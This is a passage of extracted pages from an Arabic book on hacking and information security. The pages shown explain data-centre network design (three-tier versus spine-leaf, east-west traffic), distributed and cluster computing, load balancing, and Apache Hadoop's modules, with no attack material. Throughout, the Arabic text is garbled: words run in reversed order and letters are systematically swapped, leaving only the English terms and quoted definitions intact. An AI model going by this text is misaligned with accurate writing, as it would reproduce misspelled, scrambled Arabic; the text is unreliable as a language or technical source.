‫ذلك‬ ‫عن‬ ‫ينتج‬ ‫الربوتوكول‬ ‫ذذا‬ ‫تفعيل‬ ‫عند‬ ‫ولكن‬ 50% ‫ال‬ ‫من‬ Network Links ‫بالصفحة‬ ‫بالشكل‬ ‫يظهر‬ ‫كام‬ ‫املاضي‬ ‫ة‬ .
  • 439.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security [439] ‫ال‬ ‫ذذه‬ Links ‫هلا‬ ‫حدث‬ ‫التي‬ Blocking .!‫الوقت‬ ‫ذات‬ ‫يف‬ ‫وعيب‬ ‫ميزة‬ ‫هلا‬ ‫امليزة‬ ‫حدوث‬ ‫ستمنع‬ ‫أهنا‬ Looping ‫ك‬ ‫تكون‬ ُ ‫حيث‬ ،‫الشبكة‬ ‫يف‬ Backup ‫حدوث‬ ‫حالة‬ ‫يف‬ ُ‫ه‬‫تفعيل‬ ‫يتم‬ Failure ‫ألي‬ Link .‫ال‬‫قع‬ ‫والعيب‬ ‫من‬ ‫نا‬‫م‬‫َحر‬‫ت‬ َ ‫س‬ ‫أهنا‬ 50% ‫ال‬ ‫من‬ Bandwidth .!‫اللينكات‬ ‫ذذه‬ ‫تعطيل‬ ‫بسبب‬ ‫الشبكة‬ ‫داطل‬ ‫املار‬ ‫ال‬ ‫من‬ ‫الثاين‬ ‫النوع‬ ‫لىل‬ ‫سننتقل‬ Traffic ُ‫ن‬‫و‬ ‫د‬‫شاذ‬ ‫ال‬ ‫سيتعامل‬ ‫كيف‬ Traditional Network Model .!‫معه‬ West Traffic - East ‫احلديث‬ ‫التكنولوجيا‬ ‫ظهور‬ ‫مع‬ ‫ة‬ ‫كال‬ ، Virtualization ‫وال‬ Distributed Cloud ‫امل‬ ‫بدأ‬ ‫ل‬ ‫يتجه‬ ‫سار‬ Pattern ‫من‬ ‫آطر‬ ‫ال‬ Traffic ‫ال‬ ‫وذو‬ East-West . ً‫ا‬‫أيض‬ ‫عليه‬ ‫ق‬‫ُطل‬‫ن‬‫و‬ “Server-to-Server Traffic” ‫ال‬ ‫وذو‬ ، Traffic ‫داطل‬ ‫ث‬‫احلاد‬ ‫ال‬ Data Center .‫ذاهتا‬ ‫وجود‬ ‫قرضنا‬ ‫قلو‬ Server ‫تصل‬ُ‫م‬ ‫بال‬ Access Switch ‫أن‬ ‫ريد‬ُ‫ي‬ ،‫اليسار‬ ‫أقىص‬ ‫يف‬ ‫املوجود‬ ‫مع‬ ‫يتواصل‬ Server ُ‫م‬ ‫آطر‬ ‫تص‬ ‫ل‬ ‫بال‬ Access Switch ‫ذلك؟‬ ‫سيتم‬ ‫قكيف‬ ،‫اليمني‬ ‫بأقىص‬ ‫املوجود‬ ‫ال‬ ‫ستقوم‬ Packet ‫ال‬ ‫لىل‬ ‫ألعىل‬ ‫مسار‬ ‫بأطذ‬ Core Routers ‫ال‬ ‫لىل‬ ‫تصل‬ ‫كي‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫ألسفل‬ ‫م‬َ‫ث‬ ‫ومن‬ Switch .!‫اليمني‬ ‫أقىص‬ ‫يف‬ ‫اآلطر‬ ‫ال‬ ‫من‬ ‫ملزيد‬ ‫يؤدي‬ ‫وذذا‬ Latency ‫لل‬ ‫وذدر‬ Bandwidth .!‫بالشبكة‬
  • 440.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security [440] ‫وجود‬ ‫فرض‬‫وب‬ Cluster of Servers ‫ال‬ ‫من‬ ‫مئات‬ ‫عن‬ ‫نا‬ُ‫ذ‬ ‫(نتكلم‬ Servers ‫بعمل‬ ‫تقوم‬ ‫التي‬ ) Calculations in parallel ‫ال‬ ‫استخدام‬ ‫حالة‬ ‫يف‬ ‫كام‬ Apache Hadoop ‫ال‬ ‫يف‬ ‫نقص‬ ‫أي‬ ً‫ا‬‫هنائي‬ ‫الشبكة‬ ‫تتحمل‬ ‫قلن‬ ،‫املثال‬ ‫سبيل‬ ‫عىل‬ Bandwidth ‫ال‬ ‫يف‬ ‫أو‬ Latency ‫ال‬ ‫ألن‬ ‫وذذا‬ . Servers ‫ل‬ ُ ‫تواص‬ ‫لعمليات‬ ‫ستحتاج‬ ‫نا‬ُ‫ذ‬ ‫ال‬ ‫داطل‬ ‫بينها‬ ‫قيام‬ ‫ف‬‫كث‬ُ‫م‬ Cluster .! ‫ال‬ ‫باستخدام‬ ‫األمر‬ ‫ذذا‬ ‫لتطبيق‬ ‫جئنا‬ ‫قإذا‬ Traditional Model ‫ال‬ ‫وذو‬ Three-tier Architecture ، ‫ال‬ ‫لضياع‬ ‫ُؤدي‬‫ن‬ ‫ِبذا‬ ‫قنكون‬ Business .‫ل‬َ‫م‬َ‫ع‬‫ال‬ ‫ذذا‬ ‫وراء‬ ‫من‬ ‫املرجو‬ ‫ال‬ ‫لىل‬ ‫اإلنتقال‬ “Spine-Leaf Architecture”
  • 441.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security [441] ‫ال‬ ‫ذذا‬ ‫يتكون‬ Architecture :‫ييل‬ ‫كام‬ ‫م‬ُ‫ذ‬ ، ّ ‫ني‬َ‫ي‬‫أساس‬ ‫جزئني‬ ‫من‬ “Spine Switches, and Leaf Switches” ‫ال‬ ‫ذذه‬ Spine Switches ‫ال‬ ‫طبقة‬ ‫اعتبارذا‬ ‫ن‬‫مك‬ُ‫ي‬ Core ‫قال‬ ، Spine ‫عن‬ ‫عبارة‬ : High-Throughput Layer 3 Switch ‫ال‬ ‫طبقة‬ ‫ر‬َ‫َصو‬‫ت‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬ ‫ل‬‫قاب‬ُ‫مل‬‫ا‬ ‫ويف‬ Leaf ‫ال‬ ‫أهنا‬ ‫عىل‬ Access Layer ، ‫ُع‬‫ت‬ َ‫قهي‬ ‫ال‬ ‫ثابة‬َ‫بم‬ ‫َرب‬‫ت‬ (Connection Points) ‫لل‬ Servers ‫ال‬ ‫متتلك‬ ‫أهنا‬ ‫كام‬ ، Uplinks ‫ال‬ ‫لىل‬ Spine Switches . ً‫ا‬‫واضح‬ ‫يبدو‬ ‫ال‬ ‫ذذا‬ ‫من‬ Architecture ‫كل‬ ‫أن‬ Leaf Switch ‫ال‬ ‫بجميع‬ ‫ل‬‫َص‬‫ت‬ُ‫م‬ Spine Switches . “Every Leaf switch is connected to every Spine switch” ‫يعني‬ ‫ماذا‬ ‫ولكن‬ ‫ذذا؟‬ ‫ألي‬ ‫أنه‬ ‫يعني‬ ‫ذذا‬ Server ‫أي‬ ‫مع‬ ‫التواصل‬ ‫يود‬ Server ‫ال‬ ‫لىل‬ ‫بالصعود‬ ‫سيقوم‬ ،!ً‫ا‬‫وواضح‬ ً‫ا‬‫ثابت‬ ً‫ا‬‫مسار‬ ‫ك‬ُ‫ل‬‫س‬َ‫ي‬ َ ‫س‬ ،‫آطر‬ Spine ‫ال‬ ‫لىل‬ ‫النزول‬ ‫م‬ُ‫ث‬ Leaf ‫ال‬ ‫ِبذا‬ ‫املوصول‬ Server . ‫ال‬ ‫ذلك‬ ‫من‬ ‫ستثنى‬ُ‫ي‬( Servers ‫ال‬ ‫َفس‬‫ن‬‫ب‬ ‫لة‬‫تص‬ُ‫مل‬‫ا‬ Leaf Switch ‫ع‬ ُ ‫الص‬ ‫لىل‬ ‫حاجة‬‫ب‬ ‫تكون‬ ‫لن‬ ُ ‫حيث‬ ‫ال‬ ‫لىل‬ ‫ود‬ Spine .)‫حينها‬ ‫ال‬ ‫ذذا‬ Architecture ‫ال‬ ‫حالة‬ ‫يف‬ ‫عالية‬ ‫بكفاءة‬ ‫يعمل‬ “East-West Traffic Pattern” ‫ال‬ ‫كامل‬ ‫بتفعيل‬ ‫لقيامه‬ Network Resources ‫ال‬ ‫يف‬ ‫احلادث‬ ‫اهلدر‬ ‫وتاليف‬ Bandwidth .
  • 442.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security [442] Appendix (C) ‫عن‬ ‫عبارة‬ ‫ذو‬ " Open-Source Software Framework " ‫بتطويره‬ ‫قامت‬ Apache Foundation . ‫ال‬ ‫يستطيع‬ Hadoop ‫عمل‬ Processing ‫حث‬َ‫ب‬‫ال‬ ‫ك‬ ِّ‫ر‬ ُ ‫حم‬ ‫بيانات‬ ‫بقواعد‬ ‫اخلاصة‬ َ ‫لك‬‫كت‬ ‫البيانات‬ ‫من‬ ‫الضخمة‬ ‫لألحجام‬ ‫الشهري‬ Google ‫ال‬ ‫ببيانات‬ ‫أو‬ ، Applications ‫ال‬ ‫يقوم‬ .‫كالفيسبوك‬ ‫الكبرية‬ Hadoop ‫البيانات‬ ‫ذذه‬ ‫وتوزيع‬ ‫عاجلة‬ُ‫بم‬ ‫ال‬ ‫عىل‬ ‫العمالقة‬ Hardware ‫باست‬ ‫ال‬ ‫تكنولوجيا‬ ‫خدام‬ Distributed Computing . ‫ال‬ ‫ماذذا‬ Distributed Computing ‫؟‬.. Distributed computing is a model in which components of a software system are shared among multiple computers to improve efficiency and performance. ‫تشغيل‬ ‫عملية‬ ‫عن‬ ِّ ‫عرب‬ُ‫ي‬ ‫لنه‬ Application ‫أو‬ System ‫ذذه‬ ،!‫واحد‬ ‫جهاز‬ ‫من‬ ً‫ال‬‫بد‬ ‫األجهزة‬ ‫من‬ ‫جمموعة‬ ‫عىل‬ ،‫ما‬ ‫ى‬‫ُسم‬‫ت‬ ‫األجهزة‬ Nodes .. ‫ال‬ ‫ذذه‬ Nodes ‫شبكة‬ ‫داطل‬ ‫ببعضها‬ ‫رتبطة‬ُ‫م‬ ‫تكون‬ .. ‫رتاص‬ُ‫مل‬‫ا‬ ‫األجهزة‬ ‫من‬ ‫الشبكة‬ ‫ذذه‬ ‫ة‬ ‫يها‬ِّ‫ُسم‬‫ن‬ Cluster .. ‫ال‬ ‫ذذا‬ Cluster ‫ُسميه‬‫ن‬ “Cluster Computing” ‫حملية‬ ‫الشبكة‬ ‫كانت‬ ‫لذا‬ (LAN) ، ‫عليه‬ ‫ق‬‫ُطل‬‫ن‬‫و‬ “Grid Computing” ‫ال‬ ‫كان‬ ‫لذا‬ ‫حالة‬ ‫يف‬ Distributed Computing ‫ع‬‫وز‬ُ‫م‬ ‫ال‬ ‫عىل‬ (WAN) . ‫ال‬ ‫مبدأ‬ ً‫ا‬‫أيض‬ ‫نستخدم‬ Distributed Computing ‫ال‬ ‫يف‬ Computational Problems ‫قيتم‬ ،!‫استيعاِبا‬ ‫وحيد‬ ‫جلهاز‬ ‫مكن‬ُ‫ي‬ ‫ال‬ ‫والتي‬ ،‫الكبرية‬ ‫ال‬ ‫ذذه‬ ‫تقسيم‬ Process ‫ال‬ ‫أو‬ Problem ‫ال‬ ‫من‬ ‫جمموعة‬ ‫لىل‬ Tasks ‫ال‬ ‫من‬ ‫جمموعة‬ ‫عىل‬ ‫توزيعها‬ ‫يتم‬ ،‫املهام‬ ‫أو‬ Nodes ، ‫ال‬ ‫ذذه‬ Nodes .‫بالشكل‬ ‫يظهر‬ ‫كام‬ ‫البعض‬ ‫بعضها‬ ‫مع‬ ‫للتواصل‬ ‫القابلية‬ ‫لدهيا‬
  • 443.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security [443] ‫باستخدام‬ ‫يتم‬ ‫التواصل‬ ‫ذذا‬ ‫تكنيك‬ ‫ى‬‫سم‬ُ‫ي‬ “Message Passing” . . ‫ال‬ ‫ذذا‬ Message Passing ‫ال‬ ‫تطبيقات‬ ‫من‬ ‫العديد‬ ‫يف‬ ‫ستخدم‬ُ‫ي‬ ‫احلديث‬ ‫كمبيوتر‬ ‫ة‬ ‫لل‬ ‫تيح‬ُ‫ي‬ ُ ‫حيث‬ Objects ‫ن‬ِّ‫كو‬ُ‫مل‬‫ا‬ ‫ة‬ ‫ال‬ ‫هلذا‬ Software ‫ال‬ ‫عىل‬ ‫عة‬‫واملوز‬ Nodes ‫األسلوب‬ ‫عن‬ ً‫ا‬‫عوض‬ ،‫وِسيع‬ ‫ذكي‬ ‫بأسلوب‬ ‫بعضها‬ ‫مع‬ ‫التواصل‬ ‫بإمكانية‬ ‫ث‬ُ‫حيد‬ ‫بأن‬ ‫التقليدي‬ Call ‫لل‬ Program ‫الطويل‬ ‫األسهم‬ ‫ل‬ِّ‫ث‬َ ُ‫مت‬ .!‫بإسمه‬ ‫ة‬ ‫ال‬ ‫بني‬ ‫تربط‬ ‫التي‬ ً‫ا‬‫نسبي‬ Nodes ‫اجله‬ ‫يف‬ ‫ة‬ ‫ال‬ ‫عملية‬ ‫ُسى‬ُ‫ي‬‫ال‬ Message Passing ‫بينه‬ ‫م‬ .  ‫ال‬ ‫وذو‬ ،‫البسيط‬ ‫النظام‬ ‫اليمني‬ ‫عىل‬ ‫يظهر‬ Parallel Computing ، ‫وجود‬ ‫ظ‬‫ُالح‬‫ن‬ Shared Memory ‫ِبا‬ ‫يتشارك‬ ‫عاجلات‬ُ‫مل‬‫ا‬ ‫من‬ ‫جمموعة‬ Multiprocessor .  ‫أنه‬ ‫يبدو‬ ‫اليسار‬ ‫عىل‬ ‫بينام‬ Distributed Memory System ‫بك‬ ‫حيط‬ُ‫مل‬‫ا‬ ‫اإلطار‬ ‫شري‬ُ‫ي‬‫و‬ ، ‫ل‬ Node ،!‫ستقل‬ُ‫م‬ ‫جهاز‬ ‫أنه‬ ‫لىل‬ ‫بال‬ ‫يه‬ِّ‫ُسم‬‫ن‬ ‫ما‬ ‫وذذا‬ Multicomputer .
  • 444.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security [444] ‫ال‬ ‫لىل‬ ‫نعود‬‫ل‬ Hadoop .‫جديد‬ ‫من‬ ‫ال‬ ‫أن‬ ‫لنا‬ُ‫ق‬ Hadoop ‫ال‬ ‫بتقسيم‬ ‫يقوم‬ Big Data ‫لىل‬ Blocks . ‫ال‬ ‫ذذه‬ Blocks ‫ال‬ ‫عىل‬ ‫عة‬‫وز‬ُ‫مل‬‫ا‬ ‫األجهزة‬ ‫يف‬ ‫ختزينها‬ ‫يتم‬ Clusters ‫ال‬ ‫عدد‬ ‫وبزيادة‬ . Nodes ‫معاجل‬ ‫ِسعة‬ ‫تزيد‬ ، ‫ال‬ ‫ذذه‬ ‫ة‬ Big Data ، ‫أحد‬ ‫يف‬ ‫ف‬َ‫ل‬َ‫ت‬ ‫أو‬ ‫طلل‬ ‫حدوث‬ ‫عند‬ ً‫ا‬‫أيض‬ ‫ال‬ Nodes ‫ال‬ ‫ر‬‫يتأث‬ ‫لن‬ ، Application ‫ال‬ ‫أو‬ Data ‫األوتو‬ ‫النقل‬ ‫عملية‬ ‫بسبب‬ ‫م‬ ‫اتيكي‬ ‫ال‬ ‫هلذا‬ Load ‫أي‬ ‫لىل‬ Node ‫ال‬ ‫يف‬ ‫طرى‬ُ‫أ‬ Cluster ‫حدوث‬ ‫حالة‬ ‫يف‬ ‫اسرتجاعها‬ ‫من‬ ‫يتمكن‬ ‫حتى‬ ‫البيانات‬ ‫من‬ ‫ُسخة‬‫ن‬ ‫من‬ ‫أكثر‬ ‫بعمل‬ ‫يقوم‬ ‫أنه‬ ‫كام‬ . ‫أي‬ ‫بال‬ ‫ُسميه‬‫ن‬ ‫ما‬ ‫وذذا‬ ،‫ققد‬ “High Availability” ‫لل‬ ‫يزة‬َ‫م‬ُ‫مل‬‫ا‬ ‫طرى‬ُ‫أل‬‫ا‬ ‫صائص‬َ‫خل‬‫ا‬ َ‫ن‬‫م‬ Computer Cluster ‫ال‬ ‫لية‬َ‫م‬َ‫ع‬‫ل‬ ‫يله‬‫تفع‬ “Load Balancing” . ‫ال‬ ‫ماذذا‬ “Load Balancing” .. ‫؟‬ :‫له‬ ‫الويكيبيديا‬ ‫تعريف‬ ‫ماييل‬ load balancing improves the distribution of workloads across multiple computing resources, such as computers, a computer cluster, network links, central processing units, or disk drives. Load balancing aims to optimize resource use, maximize throughput, minimize response time, and avoid overload of any single resource. ‫ال‬ ‫ذذا‬ Hadoop Framework ‫يف‬ ‫رئيسيني‬ ‫جزئني‬ ‫عن‬ ‫عبارة‬ ‫األساس‬ : - ‫بال‬ ‫اخلاص‬ ‫وذو‬ ‫األول‬ ‫اجلزء‬ “Storage” ‫عليه‬ ‫ق‬َ‫ل‬‫ط‬ُ‫ي‬‫و‬ ،‫التخزين‬ ‫أو‬ (HDFS) ..‫قليل‬ ‫بعد‬ ‫لليه‬ ‫سنأيت‬ . - ‫البيانات‬ ‫عاجلة‬ُ‫بم‬ ‫َص‬‫ت‬‫خ‬ُ‫مل‬‫ا‬ ‫ذو‬ ‫الثاين‬ ‫واجلزء‬ “Processing” ‫ى‬‫سم‬ُ‫ي‬‫و‬ (MapReduce) . ‫ذذ‬ ‫وظيفة‬ ‫سنوضح‬ ‫ال‬ ‫ه‬ Core Modules ‫ن‬ِّ‫كو‬ُ‫مل‬‫ا‬ ‫ة‬ ‫لل‬ Hadoop .
  • 445.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security [445] Hadoop Common ‫ال‬ ‫عىل‬ ‫حيتوي‬ ‫اجلزء‬ ‫ذذا‬ Libraries ‫وال‬ Utilities ‫ال‬ ‫بقية‬ ‫ستحتاجها‬ ‫التي‬ Modules . Hadoop Distributed File System (HDFS) ‫ال‬ ‫ذذا‬ Module ‫عن‬ ‫عبارة‬ System ‫ال‬ ‫غة‬ُ‫ل‬‫ب‬ ‫ج‬َ‫م‬ َ ‫رب‬ُ‫م‬ Java ‫ال‬ ‫ذذا‬ ، System ‫بال‬ ‫يتميز‬ Scalability ‫بعملية‬ ‫سيقوم‬ ‫ألنه‬ ‫ال‬ ‫ختزين‬ Big Data ‫األجهزة‬ ‫من‬ ‫العديد‬ ‫عىل‬ (Across multiple machines) ‫بشكل‬ ‫سيكون‬ ‫التخزين‬ ‫ذذا‬ . ‫عمل‬ ‫يتم‬ ‫لن‬ ‫أنه‬ ‫أي‬ ،‫عشوائي‬ Organize ‫ال‬ ‫هلذه‬ Data .!‫اإلجراء‬ ‫ذذا‬ ‫قبل‬ Hadoop MapReduce ‫عن‬ ‫عبارة‬ ‫اجلزء‬ ‫ذذا‬ Programming Model ‫األصل‬ ‫يف‬ ‫ذو‬ ، Software ‫عمل‬ ‫يف‬ ‫وظيفته‬ ‫تتلخص‬ .. Processing ‫ال‬ َ‫ن‬‫م‬ ‫ة‬َ‫خم‬ َ ‫ض‬ ‫كميات‬‫ل‬ Data . Hadoop YARN ‫عن‬ ‫عبارة‬ ‫ذذه‬ Platform ‫بعمل‬ ‫تقوم‬ Management ‫لل‬ Resources ‫ال‬ ‫ذذه‬ ، Resources ‫ال‬ ‫ذي‬ Computing ‫ال‬ ‫من‬ ‫كبري‬ ‫َم‬‫ك‬ ‫أمام‬ ‫أننا‬ ‫نعلم‬ ‫كام‬ ،‫بالطبع‬ Nodes ‫ال‬ ‫داطل‬ Cluster ‫بحاج‬ ‫نحن‬ ‫وبالتايل‬ ‫ة‬ ‫إلدا‬ ‫ال‬ ‫ذذه‬ ‫رة‬ Resources . ‫كانت‬ ‫األساسي‬ ‫كونات‬ُ‫مل‬‫ا‬ ‫ذي‬ ‫ذذه‬ ‫ة‬ ‫لل‬ Apache Hadoop ‫عليها‬ ‫ق‬َ‫ل‬‫ط‬ُ‫ي‬‫و‬ ، “Base Modules” .
  • 446.